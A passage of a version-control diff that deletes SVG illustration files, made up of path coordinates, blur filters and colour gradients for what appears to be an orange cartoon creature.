<feGaussianBlur stdDeviation="10.3119" result="effect1_foregroundBlur_2_3"/>
|
||||
</filter>
|
||||
<filter id="filter1_f_2_3" x="1135.42" y="1676.67" width="94.502" height="96.079" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
|
||||
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
|
||||
<feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape"/>
|
||||
<feGaussianBlur stdDeviation="4.72782" result="effect1_foregroundBlur_2_3"/>
|
||||
</filter>
|
||||
<filter id="filter2_f_2_3" x="2224.19" y="1317.8" width="199.468" height="216.64" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
|
||||
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
|
||||
<feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape"/>
|
||||
<feGaussianBlur stdDeviation="10.3119" result="effect1_foregroundBlur_2_3"/>
|
||||
</filter>
|
||||
<filter id="filter3_f_2_3" x="2145.2" y="1521.27" width="94.5021" height="96.079" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
|
||||
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
|
||||
<feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape"/>
|
||||
<feGaussianBlur stdDeviation="4.72782" result="effect1_foregroundBlur_2_3"/>
|
||||
</filter>
|
||||
<filter id="filter4_f_2_3" x="1781.61" y="1777.56" width="58.7359" height="38.5579" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
|
||||
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
|
||||
<feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape"/>
|
||||
<feGaussianBlur stdDeviation="2.52106" result="effect1_foregroundBlur_2_3"/>
|
||||
</filter>
|
||||
<radialGradient id="paint0_radial_2_3" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1760.99 1829.81) rotate(-0.182296) scale(306.481 287.176)">
|
||||
<stop stop-color="#CC3100"/>
|
||||
<stop offset="1" stop-color="#DE6B00"/>
|
||||
</radialGradient>
|
||||
<radialGradient id="paint1_radial_2_3" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(2373.33 907.327) rotate(63.7909) scale(608.272 241.85)">
|
||||
<stop stop-color="#FF927A"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</radialGradient>
|
||||
<radialGradient id="paint2_radial_2_3" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(785.008 1066.98) rotate(-157.738) scale(359.552 439.05)">
|
||||
<stop stop-color="#FF927A"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</radialGradient>
|
||||
<linearGradient id="paint3_linear_2_3" x1="1257.34" y1="3813.75" x2="1136.44" y2="3481.28" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#F79041"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="paint4_linear_2_3" x1="2481.02" y1="3700.43" x2="2528.01" y2="3388.4" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#F79041"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="paint5_linear_2_3" x1="1465.89" y1="3071.73" x2="1527.85" y2="3160.89" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#F79041"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="paint6_linear_2_3" x1="2205.57" y1="3007.9" x2="2200.48" y2="3085.58" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#F79041"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</linearGradient>
|
||||
</defs>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 27 KiB |
@@ -1,73 +0,0 @@
|
||||
<svg width="2959" height="3706" viewBox="0 0 2959 3706" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path opacity="0.997" d="M316.789 2931.12C315.488 2929.29 342.101 2913.78 372.838 2868.23C384.205 2851.41 395.682 2829.37 402.48 2802.88C407.785 2782.32 410.27 2759.1 408.909 2733.66C407.69 2710.88 403.393 2686.99 395.976 2661.83V2661.83C382.3 2615.37 359.257 2568.62 326.569 2519.31C298.838 2477.58 265.182 2435.96 225.052 2395.73C208.608 2379.25 191.087 2363.05 172.444 2347.71C157.209 2335.18 141.225 2323.1 124.379 2312.5C111.765 2304.63 99.0872 2297.4 86.1465 2292.93C81.4965 2291.35 77.2099 2290.09 73.3454 2289.68C70.3614 2289.5 68.2282 2289.3 67.36 2289.79C67.103 2290.02 66.986 2289.93 67.7268 2289.46C67.8742 2288.79 67.916 2289.67 67.402 2291.25V2291.25C66.8491 2293.83 67.2734 2297.48 67.8385 2301.99C68.763 2308.14 70.6571 2314.59 72.9592 2321.43V2321.43C79.957 2342.07 90.3586 2362.14 101.941 2382.98C118.976 2413.51 138.274 2443.25 159.063 2473.54C239.086 2574.41 349.687 2660.96 481.224 2708.82C588.471 2748.15 706.505 2762.42 824.643 2753.29C866.817 2749.58 908.547 2739.08 939.471 2714.96C946.162 2709.88 952.392 2704.14 958.034 2697.88C971.642 2682.77 981.817 2664.63 986.785 2645.36C993.4 2620.4 992.269 2593.07 983.767 2568.69C975.601 2545.97 961.347 2525.28 942.318 2513.53C918.401 2498.17 890.181 2489.01 861.448 2485.7C828.124 2482.05 793.861 2487.36 765.252 2502.39C748.435 2511.06 733.146 2523.06 719.946 2537.05C703.762 2554.16 690.691 2574.62 680.006 2596.35C647.54 2662.01 637.627 2738.34 633.783 2811.39C631.492 2858.76 639.748 2905.63 657.74 2947.16C674.348 2985.79 699.212 3020.25 727.85 3049.36C755.245 3077.18 786.301 3100.41 818.625 3119.3C845.995 3135.23 873.674 3148.13 901.953 3156.71C916.938 3161.58 935.105 3161.55 953.657 3162.06C981.591 3162.53 1010.48 3161.41 1037.44 3160.48C1120.97 3157.55 1186.59 3155.58 1255.49 3159.41C1258.01 3159.67 1260.93 3159.01 1263.71 3157.85C1267.08 3156.47 1270.42 3153.91 1273.73 3150.93C1282.8 3142.7 1289.74 3131.12 1296.02 3119.67C1304.49 3103.94 1311.23 3087.27 1316.96 3071.71C1324.16 3052.16 1330.13 3032.79 1335.12 3015.45C1347.23 2973.37 1356.5 2932.2 1361.78 2909.03C1368.62 2876.64 1372.92 2860.42 1374.61 2860.7C1376.3 2860.97 1375.37 2877.73 1371.82 2910.71V2910.71C1368.73 2935.64 1362.81 2975.3 1352.55 3019.95C1348.43 3037.86 1343.3 3057.89 1336.77 3078.48C1331.6 3094.81 1325.21 3112.65 1316.67 3130.22C1310.63 3142.89 1302.73 3156.75 1290.99 3168.72C1286.56 3173.24 1281.1 3177.52 1274.47 3180.82C1268.55 3183.74 1261.74 3185.39 1254.47 3185.26C1186.38 3183.73 1122.9 3187.53 1038.93 3192.43C1012.03 3194.02 982.698 3195.8 953.459 3195.94C935.016 3196.23 913.838 3196.25 892.086 3190.34C860.467 3181.34 829.909 3167.88 800.35 3151.26C765.137 3131.53 731.042 3106.84 700.477 3076.77C668.369 3045.23 640.218 3007.16 620.629 2963.48C599.562 2916.19 589.495 2863.25 591.598 2809.55C594.222 2733.83 604.742 2651.95 640.214 2577.11C652.15 2552.07 667.567 2527.86 687.265 2506.54C703.474 2489.04 722.685 2473.88 744.379 2462.43C781.862 2442.93 824.765 2435.76 866.445 2440.38C901.541 2444.1 936.315 2455.43 966.972 2474.79C996.013 2493.63 1016.6 2522.16 1027.31 2553.48V2553.48C1038.91 2586.65 1040.44 2622.98 1031.5 2657.13C1024.34 2683.95 1010.73 2708.48 992.439 2728.83C984.857 2737.27 976.473 2744.98 967.414 2751.83C926.027 2782.52 876.166 2796.04 828.18 2799.26C703.899 2808.78 579.433 2793.06 465.731 2750.76C325.525 2698.22 209.253 2605.43 125.942 2497.69C104.813 2466.19 84.9637 2434.73 67.2313 2402.07C55.3916 2380.34 44.3348 2357.9 36.3566 2333.64V2333.64C33.6731 2325.54 31.3734 2316.86 30.0211 2307.57C28.9492 2300.97 28.6637 2293.32 29.9722 2284.91C30.8048 2278.53 33.7282 2271.54 39.1215 2264.8C44.6302 2258.8 51.1436 2255 57.9177 2253.4C65.6381 2251.65 72.5521 2251.65 78.3106 2252.64C85.8795 2253.76 92.7209 2255.75 98.8267 2258.08C115.658 2264.44 130.588 2273.11 144.014 2282.01C162.336 2294.05 179.275 2307.32 195.03 2320.84C214.373 2337.42 232.368 2354.74 249.101 2372.26C289.906 2414.94 323.84 2459.09 351.487 2503.24C384.143 2555.26 406.809 2605.59 419.621 2655.32C426.578 2682.37 430.13 2708.29 430.416 2732.98C430.737 2760.6 426.738 2785.78 419.794 2807.86C410.802 2836.34 396.954 2859.18 383.542 2876.09C346.533 2922.69 316.167 2930.24 316.792 2931.12L316.789 2931.12Z" fill="black"/>
|
||||
<path d="M1168.86 2147.45C1168.86 2147.45 1174.91 2189.77 1126.55 2316.71C1078.19 2443.66 1075.16 2733.81 1050.98 2797.29C1026.8 2860.76 893.814 3072.33 924.039 3259.73C954.264 3447.12 1102.37 3713.1 1283.71 3646.6C1465.06 3580.11 1428.79 3592.2 1428.79 3592.2C1428.79 3592.2 1954.71 3707.05 2302.29 3507.57C2380.88 3543.84 2429.23 3574.06 2547.11 3504.55C2664.99 3435.03 2725.44 3244.61 2722.41 3114.65C2719.39 2984.68 2532 2700.57 2510.84 2640.12C2489.68 2579.67 2411.1 2283.46 2371.81 2159.54C2332.51 2035.62 2362.74 2014.46 2362.74 2014.46L1168.86 2147.45Z" fill="#DE5700" stroke="black" stroke-width="46.0804"/>
|
||||
<path d="M2910.99 15.367C2810.67 16.4868 2399.36 32.4575 2314.62 125.748C2227.59 221.545 2173.88 368.999 2157.21 419.478C2059.12 356.561 1915.41 355.12 1915.41 355.12C1915.41 355.12 2000.05 327.92 2090.72 303.741C1933.55 249.336 1731.05 297.692 1731.05 297.692C1731.05 297.692 1816.06 254.536 1897.66 181.997C1770.72 215.244 1628.28 231.198 1537.61 285.603C1534.34 256.983 1479.51 292.115 1564.25 174.208C1331.52 231.635 1168.86 376.283 1069.11 460.912C1081.2 385.351 1085.97 396.401 1122.24 311.772C984.85 406.889 945.872 455.871 915.959 529.819C884.785 472.227 802.353 331.66 698.786 248.138C566.279 141.277 -48.0541 314.703 20.3368 442.936C88.7277 571.169 253.044 550.321 295.788 819.61C338.532 1088.9 643.216 1098.74 643.216 1098.74C645.435 1097.95 647.639 1097.05 649.836 1096.13C627.255 1167.82 607.109 1272.5 591.923 1444.97C519.258 1553.97 513.208 1597.36 504.66 1637.96C575.188 1603.77 583.374 1556.11 634.667 1543.29C589.785 1618.09 587.651 1720.68 606.886 1883.1C643.218 1791.2 641.076 1793.34 679.546 1765.56C690.232 1874.55 713.747 1934.4 741.53 1968.59C752.217 1908.75 784.275 1885.25 784.275 1885.25C784.275 1885.25 805.648 2015.62 867.627 2105.38C880.451 2026.3 895.409 2013.48 895.409 2013.48C895.409 2013.48 1143.32 2338.33 1775.94 2304.14C2408.55 2269.94 2588.08 1833.95 2588.08 1833.95C2588.08 1833.95 2600.91 1889.52 2600.91 1910.89C2647.93 1842.5 2677.85 1701.44 2677.85 1701.44C2677.85 1701.44 2712.04 1782.65 2703.49 1833.95C2741.96 1769.83 2750.51 1611.68 2733.41 1539.02C2793.25 1603.13 2844.55 1624.51 2844.55 1624.51C2844.55 1624.51 2712.04 1393.69 2707.76 1355.22C2703.49 1316.75 2801.81 1410.78 2801.81 1410.78C2801.81 1410.78 2740.21 1308.23 2724.86 1280.41C2667.66 1176.75 2613.36 987.392 2537.11 859.689C2601.1 818.088 2795.1 718.757 2787.56 503.664C2778.95 258.194 2898.72 176.103 2940.26 51.0386C2948.69 25.6348 2936.56 15.0816 2910.99 15.367V15.367Z" fill="#DE5700"/>
|
||||
<path d="M1168.86 2147.45C1168.86 2147.45 1174.91 2189.77 1126.55 2316.71C1078.19 2443.66 1075.16 2733.81 1050.98 2797.29C1026.8 2860.76 893.814 3072.33 924.039 3259.73C954.264 3447.12 1102.37 3713.1 1283.71 3646.6C1465.06 3580.11 1428.79 3592.2 1428.79 3592.2C1428.79 3592.2 1954.71 3707.05 2302.29 3507.57C2380.88 3543.84 2429.23 3574.06 2547.11 3504.55C2664.99 3435.03 2725.44 3244.61 2722.41 3114.65C2719.39 2984.68 2532 2700.57 2510.84 2640.12C2489.68 2579.67 2411.1 2283.46 2371.81 2159.54C2332.51 2035.62 2362.74 2014.46 2362.74 2014.46L1168.86 2147.45Z" fill="#DE5700"/>
|
||||
<path d="M1948.55 2060.6L1565.32 2103.28C1414.45 2137.89 1297.2 2180.18 1297.2 2180.18C1297.2 2180.18 1228.81 2594.8 1241.64 2710.21C1254.46 2825.62 1181.79 3000.87 1220.26 3176.12C1253.86 3329.16 1320.07 3491.98 1566.89 3613.34C1718.29 3630.31 1968.48 3639.97 2185.07 3561.45C2288.91 3477.48 2362.98 3368.43 2391.46 3282.98C2455.58 3090.63 2378.64 2757.23 2348.72 2688.84C2318.79 2620.45 2352.99 2406.72 2186.29 2163.08C2140.34 2095.93 2052.15 2067.14 1948.55 2060.6V2060.6Z" fill="#F7EDE9"/>
|
||||
<path opacity="0.6" d="M2910.99 15.367C2810.67 16.4868 2399.36 32.4575 2314.62 125.748C2227.59 221.545 2173.88 368.999 2157.21 419.478C2059.12 356.561 1915.41 355.12 1915.41 355.12C1915.41 355.12 2000.05 327.92 2090.72 303.741C1933.55 249.336 1731.05 297.692 1731.05 297.692C1731.05 297.692 1816.06 254.536 1897.66 181.997C1770.72 215.244 1628.28 231.198 1537.61 285.603C1538.99 259.97 1477.23 293.202 1564.25 174.208C1331.52 231.635 1168.86 376.283 1069.11 460.912C1081.2 385.351 1085.97 396.401 1122.24 311.772C984.85 406.889 945.872 455.871 915.959 529.819C884.785 472.227 802.353 331.66 698.786 248.138C566.279 141.277 -48.0541 314.703 20.3368 442.936C88.7277 571.169 253.044 550.321 295.788 819.61C338.532 1088.9 643.216 1098.74 643.216 1098.74C645.435 1097.95 647.639 1097.05 649.836 1096.13C627.255 1167.82 607.109 1272.5 591.923 1444.97C519.258 1553.97 514.209 1598.36 505.661 1638.96C576.188 1604.77 583.374 1556.11 634.667 1543.29C589.785 1618.09 587.651 1720.68 606.886 1883.1C643.218 1791.2 641.076 1793.34 679.546 1765.56C690.232 1874.55 713.747 1934.4 741.53 1968.59C752.217 1908.75 784.275 1885.25 784.275 1885.25C784.275 1885.25 805.648 2015.62 867.627 2105.38C880.451 2026.3 895.409 2013.48 895.409 2013.48C895.409 2013.48 1143.32 2338.33 1775.94 2304.14C2408.55 2269.94 2588.08 1833.95 2588.08 1833.95C2588.08 1833.95 2600.91 1889.52 2600.91 1910.89C2647.93 1842.5 2677.85 1701.44 2677.85 1701.44C2677.85 1701.44 2712.04 1782.65 2703.49 1833.95C2741.96 1769.83 2750.51 1611.68 2733.41 1539.02C2793.25 1603.13 2844.55 1624.51 2844.55 1624.51C2844.55 1624.51 2712.04 1393.69 2707.76 1355.22C2703.49 1316.75 2801.81 1410.78 2801.81 1410.78C2801.81 1410.78 2740.21 1308.23 2724.86 1280.41C2667.66 1176.75 2613.36 987.392 2537.11 859.689C2601.1 818.088 2801.11 718.757 2793.56 503.664C2784.96 258.194 2898.72 176.103 2940.26 51.0386C2948.69 25.6348 2936.56 15.0816 2910.99 15.367V15.367Z" fill="url(#paint0_radial_28_46)"/>
|
||||
<path d="M1793.93 1625.72C1692.31 1626.01 1639.62 1670.45 1602.82 1690.75C1443.85 1877.11 1124.01 1774.44 950.98 1898.07C921.059 1919.44 879.383 2034.85 879.383 2034.85L881.565 2043.13C889.307 2018.8 895.409 2013.48 895.409 2013.48C895.409 2013.48 1143.32 2338.33 1775.94 2304.14C2286.01 2276.56 2501.41 1987.9 2565.77 1877.06C2559.76 1821.08 2542.31 1746.84 2491.91 1744.19C2410.7 1739.91 2075.15 1712.12 1972.56 1656.56C1930.89 1633.98 1863.46 1625.52 1793.93 1625.72V1625.72Z" fill="#F7EDE9"/>
|
||||
<path d="M1670.59 1677.46C1653.7 1635.82 1858.76 1600.28 1862.52 1639.68C1866.61 1682.55 1812.65 1760.58 1785.45 1765.11C1758.24 1769.64 1688.63 1721.93 1670.59 1677.46V1677.46Z" fill="black"/>
|
||||
<g opacity="0.8" filter="url(#filter0_f_28_46)">
|
||||
<path d="M1795.15 1641.88C1797.06 1634.19 1809.39 1629.26 1822.69 1630.88C1835.98 1632.49 1845.21 1640.04 1843.29 1647.73C1841.38 1655.43 1829.05 1660.35 1815.75 1658.74C1802.45 1657.12 1793.23 1649.57 1795.15 1641.88Z" fill="#BEBEBE"/>
|
||||
</g>
|
||||
<path opacity="0.8" d="M1797.09 1642.11C1798.83 1635.16 1810.16 1630.73 1822.38 1632.22C1834.6 1633.7 1843.1 1640.55 1841.35 1647.5C1839.61 1654.46 1828.28 1658.89 1816.06 1657.4C1803.83 1655.91 1795.34 1649.07 1797.09 1642.11Z" fill="#DEDEDE"/>
|
||||
<path d="M2839.03 126.979C2750.83 205.43 2490.04 199.914 2389.32 331.49C2311.81 432.749 2293.15 545.208 2382.91 699.087C2429.76 779.407 2491.15 828.243 2540.37 857.529C2656.85 814.594 2791.93 737.805 2791.56 525.669C2791.4 431.967 2868.09 265.271 2862.97 214.318C2865.39 180.456 2897.45 75.0209 2839.03 126.979V126.979Z" fill="url(#paint1_radial_28_46)"/>
|
||||
<path d="M135.341 546.877C204.087 610.736 275.71 693.122 295.788 819.61C335.05 1066.97 582.025 1072.54 635.159 1095.33C678.647 1047.5 747.7 954.793 774.947 808.594C815.021 593.571 743.572 440.231 630.27 356.086C544.242 292.197 465.345 399.217 373.009 410.597C226.391 428.666 137.346 442.883 104.936 460.272C73.1798 477.31 100.208 513.662 135.341 546.877V546.877Z" fill="url(#paint2_radial_28_46)"/>
|
||||
<path d="M2910.99 15.367C2810.67 16.4868 2399.36 32.4575 2314.62 125.748C2227.59 221.545 2173.88 368.999 2157.21 419.478C2059.12 356.561 1915.41 355.12 1915.41 355.12C1915.41 355.12 2000.05 327.92 2090.72 303.741C1933.55 249.336 1731.05 297.692 1731.05 297.692C1731.05 297.692 1816.06 254.536 1897.66 181.997C1770.72 215.244 1628.28 231.198 1537.61 285.603C1544.1 286.111 1479.62 292.085 1564.25 174.208C1331.52 231.635 1168.86 376.283 1069.11 460.912C1081.2 385.351 1085.97 396.401 1122.24 311.772C984.85 406.889 945.872 455.871 915.959 529.819C884.785 472.227 802.353 331.66 698.786 248.138C566.279 141.277 -48.0541 314.703 20.3368 442.936C88.7277 571.169 253.044 550.321 295.788 819.61C338.532 1088.9 643.216 1098.74 643.216 1098.74C645.435 1097.95 647.639 1097.05 649.836 1096.13C627.255 1167.82 607.109 1272.5 591.923 1444.97C519.258 1553.97 513.208 1598.36 504.66 1638.96C575.188 1604.77 583.374 1556.11 634.667 1543.29C589.785 1618.09 587.651 1720.68 606.886 1883.1C643.218 1791.2 641.076 1793.34 679.546 1765.56C690.232 1874.55 713.747 1934.4 741.53 1968.59C752.217 1908.75 784.275 1885.25 784.275 1885.25C784.275 1885.25 805.648 2015.62 867.627 2105.38C880.451 2026.3 895.409 2013.48 895.409 2013.48C895.409 2013.48 1143.32 2338.33 1775.94 2304.14C2408.55 2269.94 2588.08 1833.95 2588.08 1833.95C2588.08 1833.95 2600.91 1889.52 2600.91 1910.89C2647.93 1842.5 2677.85 1701.44 2677.85 1701.44C2677.85 1701.44 2712.04 1782.65 2703.49 1833.95C2741.96 1769.83 2750.51 1611.68 2733.41 1539.02C2793.25 1603.13 2844.55 1624.51 2844.55 1624.51C2844.55 1624.51 2712.04 1393.69 2707.76 1355.22C2703.49 1316.75 2801.81 1410.78 2801.81 1410.78C2801.81 1410.78 2740.21 1308.23 2724.86 1280.41C2667.66 1176.75 2613.36 987.392 2537.11 859.689C2601.1 818.088 2797.11 782.772 2789.56 567.679C2780.95 322.209 2898.72 176.103 2940.26 51.0386C2948.69 25.6348 2936.56 15.0816 2910.99 15.367V15.367Z" stroke="black" stroke-width="30.7203" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
<path d="M1174.32 3623.87C1099.51 3499.91 1063.06 3415.08 1057.84 3359.39C1053.03 3308.09 1046.62 3246.12 1083.48 3276.57C1094.17 3231.69 1092.03 3206.04 1119.82 3218.87C1147.6 3231.69 1166.83 3259.47 1166.83 3259.47C1166.83 3259.47 1162.56 3195.36 1190.34 3216.73C1241.43 3247.48 1332.69 3536.32 1322.06 3618.13C1310.38 3708.02 1240.21 3727.57 1174.32 3623.87V3623.87Z" fill="url(#paint3_linear_28_46)" stroke="black" stroke-width="23.0402"/>
|
||||
<path d="M2564.78 3516.43C2617.78 3381.7 2639.52 3291.97 2635.35 3236.19C2631.5 3184.81 2627.45 3122.63 2596.2 3158.83C2578.16 3116.37 2575.97 3090.73 2550.72 3108.02C2525.48 3125.31 2511.17 3155.92 2511.17 3155.92C2511.17 3155.92 2504.65 3092 2480.83 3117.72C2435.61 3156.59 2393.99 3456.62 2418.16 3535.5C2444.71 3622.17 2517.17 3629.7 2564.78 3516.43V3516.43Z" fill="url(#paint4_linear_28_46)" stroke="black" stroke-width="23.0402"/>
|
||||
<path d="M1547.64 2230.3C1547.64 2230.3 1409.61 2394.34 1345.59 2428.35C1281.58 2462.36 1537.64 2590.38 1537.64 2590.38C1537.64 2590.38 1687.67 2386.34 1693.67 2308.32L1699.68 2230.3H1547.64Z" fill="#F7EDE9"/>
|
||||
<path d="M1552.45 2225.31C1571.48 2258.43 1605.03 2280.42 1639.99 2293.91C1656.36 2300.07 1673.27 2305.1 1690.57 2307.77C1699.84 2271.3 1705.7 2233.76 1705.72 2196.08C1705.12 2188.67 1704.84 2178.86 1697.33 2174.95C1689.06 2172.5 1682.13 2179.41 1675.63 2183.33C1679.28 2173.01 1676.81 2160.78 1670.04 2152.31C1662.92 2145.38 1653.3 2153.18 1648.01 2158.59C1642.73 2163.3 1639.14 2169.69 1633.7 2174.14C1630.98 2168.39 1635.15 2158.49 1628.69 2153.34C1621.45 2147.74 1614.83 2157.89 1609.5 2161.85C1589.24 2181.83 1571.08 2203.83 1552.45 2225.31V2225.31Z" fill="url(#paint5_linear_28_46)"/>
|
||||
<path d="M1253.67 2495.08C1253.67 2495.08 1253.7 2495.06 1253.71 2494.98C1253.73 2494.91 1253.75 2494.77 1253.73 2494.55C1253.85 2494.31 1254.06 2494 1254.36 2493.63C1254.95 2492.9 1255.9 2491.91 1257.19 2490.66C1259.68 2488.27 1263.48 2484.94 1268.52 2480.67C1277.89 2472.76 1291.17 2462 1308.59 2447.97C1332.04 2429.09 1377.21 2393.23 1416.14 2359.67C1435.84 2342.71 1453.06 2323.43 1472.83 2300.71C1493.32 2277.11 1512.59 2253.5 1534.3 2226.92C1550.64 2206.9 1568.16 2185.04 1586.51 2164.5C1592.19 2158.11 1598.29 2151.39 1605.38 2145.13C1607.41 2143.27 1610.03 2141.16 1613.44 2139.16C1614.53 2138.47 1616.19 2137.74 1618.44 2137.08C1620 2136.39 1622.68 2136.37 1626.4 2137.18C1631.32 2138.25 1636.42 2142 1640.22 2148.66C1642.23 2154.09 1642.53 2158.57 1641.93 2161.68C1641.68 2164.89 1641.2 2166.62 1641.38 2166.88C1641.51 2164.86 1639.93 2163.24 1636.43 2160.78C1633.57 2160.8 1632.55 2160.6 1632.18 2161.3C1633.23 2160.49 1634.51 2158.06 1636.94 2154.8C1639.08 2151.42 1642.54 2147.44 1647.9 2143.9C1654.96 2140.17 1662.36 2139.65 1668.71 2141.79C1674.35 2143.23 1679.64 2147.46 1683.14 2154.38C1685.12 2160.15 1685.36 2164.93 1684.86 2168.28C1684.65 2171.9 1684.19 2174.36 1684.38 2175.65C1684.92 2175.76 1684.05 2175.31 1682.21 2172.96C1680.34 2172.13 1679.39 2171.73 1679.02 2171.98C1678.97 2172.08 1679.56 2171.81 1680.8 2171.48C1683.17 2170.62 1686.96 2168.95 1692.53 2167.86C1693.69 2167.59 1695.01 2167.47 1696.48 2167.52C1698.3 2167.58 1700.34 2167.9 1702.57 2168.52C1707.01 2170.25 1710.27 2172.9 1712.21 2176.09C1717.7 2186.05 1718.08 2195.25 1717.36 2201.51C1715.45 2275.24 1695.21 2345.41 1666.81 2407C1636.86 2472 1598.69 2527.26 1563.18 2571.11C1524.08 2619.42 1486.97 2655.52 1460.54 2678.9C1446.05 2691.72 1434.5 2700.95 1426.26 2707C1421.97 2710.14 1418.65 2712.38 1416.29 2713.78C1415.08 2714.49 1414.14 2714.98 1413.46 2715.25C1413.12 2715.38 1412.84 2715.46 1412.63 2715.49C1412.53 2715.5 1412.44 2715.5 1412.37 2715.49C1412.3 2715.47 1412.24 2715.44 1412.21 2715.4C1412.17 2715.35 1412.14 2715.31 1412.16 2715.22C1412.16 2715.15 1412.17 2715.06 1412.21 2714.96C1412.28 2714.77 1412.41 2714.51 1412.62 2714.21C1413.02 2713.6 1413.68 2712.78 1414.6 2711.74C1416.38 2709.72 1419.19 2706.81 1422.87 2703.08C1430.3 2695.57 1440.14 2685.87 1453.75 2671.8C1477.95 2646.79 1512.96 2609.16 1549.7 2560.56C1583.1 2516.35 1619.21 2461.46 1647.22 2398.15C1673.71 2338.25 1692.69 2270.9 1694.25 2201.13C1693.64 2194.48 1694.52 2189.65 1692.9 2188.82C1693.08 2189.33 1693.81 2189.75 1695.21 2190.46C1695.85 2190.55 1696.22 2190.64 1696.36 2190.69C1696.47 2190.73 1696.44 2190.74 1696.24 2190.7C1694.94 2190.72 1692.35 2192.09 1688.11 2193.43C1686.33 2194.1 1683.84 2194.74 1680.61 2195.05C1677.54 2195.49 1673.78 2194.67 1669.64 2192.37C1663.69 2187.36 1661.05 2181.78 1661.31 2177V2177C1661.15 2172.39 1661.62 2168.95 1661.82 2166.69C1661.73 2164.15 1662.06 2162.83 1661.8 2163.16C1662.81 2164.08 1662.41 2164.31 1661.87 2163.8C1660.62 2163.58 1659.43 2163.35 1659.67 2163.67C1658.82 2163.83 1657.66 2165.67 1655.61 2168.16V2168.16C1654.1 2170.4 1651.9 2173.87 1648.11 2177.76C1643.82 2182.24 1637.07 2184.15 1629.07 2182.43C1622.17 2178.82 1618.62 2173.59 1618.58 2168V2168C1618.53 2163.66 1619.06 2160.83 1619.25 2159.47C1619.14 2157.69 1619.49 2157.05 1619.48 2158C1620.8 2159.19 1620.41 2159.57 1619.62 2158.83C1622.22 2159.29 1623.69 2159.41 1624.13 2159.02C1624.75 2158.78 1624.9 2158.78 1624.53 2158.91C1623.44 2159.44 1622.06 2160.64 1620.22 2162.16C1614.36 2167.19 1608.83 2173.23 1603.11 2179.48C1585.13 2199.21 1567.45 2220.73 1550.73 2240.56C1528.73 2266.69 1508.62 2290.39 1487.43 2313.69C1467.11 2336.07 1448.51 2355.66 1427.18 2372.92C1384.59 2407.27 1342.02 2437.75 1315.01 2456.55C1296.77 2469.25 1282.19 2478.95 1271.97 2485.38C1266.36 2488.91 1262.02 2491.49 1258.97 2493.12C1257.38 2493.97 1256.14 2494.55 1255.26 2494.88C1254.81 2495.05 1254.45 2495.15 1254.19 2495.19C1253.98 2495.1 1253.85 2495.08 1253.77 2495.07C1253.7 2495.07 1253.67 2495.08 1253.67 2495.08L1253.67 2495.08Z" fill="black"/>
|
||||
<path d="M1550.29 2223.04C1552.02 2222.06 1555.96 2226.15 1563.08 2233.04C1570.64 2240.36 1579.91 2248.83 1593.5 2258.19C1600.35 2262.92 1607.58 2267.34 1615.33 2271.58C1622.75 2275.64 1630.22 2279.3 1637.63 2282.7C1670.11 2293.53 1691.56 2303.44 1690.46 2307.15C1689.37 2310.85 1665.88 2307.47 1631.98 2298.68C1623.76 2295.61 1615.41 2291.88 1607.22 2287.42C1598.68 2282.76 1590.69 2277.53 1583.42 2271.78C1569.42 2260.68 1560.14 2248.95 1554.8 2239.31C1549.55 2229.84 1548.78 2223.89 1550.29 2223.04V2223.04Z" fill="black"/>
|
||||
<path d="M2182.1 2821.65C2148.09 2821.91 2115.82 2806.33 2089.83 2785.3C2067.85 2767.28 2048.77 2745.55 2034 2721.26C2022.45 2753.72 2010.59 2786.27 2003.4 2820.03C2001.39 2826.99 2000.64 2839.35 2011.42 2837.84C2021.24 2837.24 2029.53 2831.07 2038.79 2828.73C2036.92 2833.96 2031.26 2838.31 2029.04 2843.95C2024.34 2852.66 2021.14 2866.11 2030.41 2873.05C2042.08 2880.13 2056.74 2876.96 2068.8 2872.51C2076.8 2870.19 2067.29 2882.14 2069.42 2886.32C2067.95 2894.94 2073.56 2906.98 2083.99 2903.55C2096.65 2899.92 2106.5 2890.47 2117.11 2883.12C2140.83 2864.95 2162.39 2844.07 2182.1 2821.65V2821.65Z" fill="url(#paint6_linear_28_46)"/>
|
||||
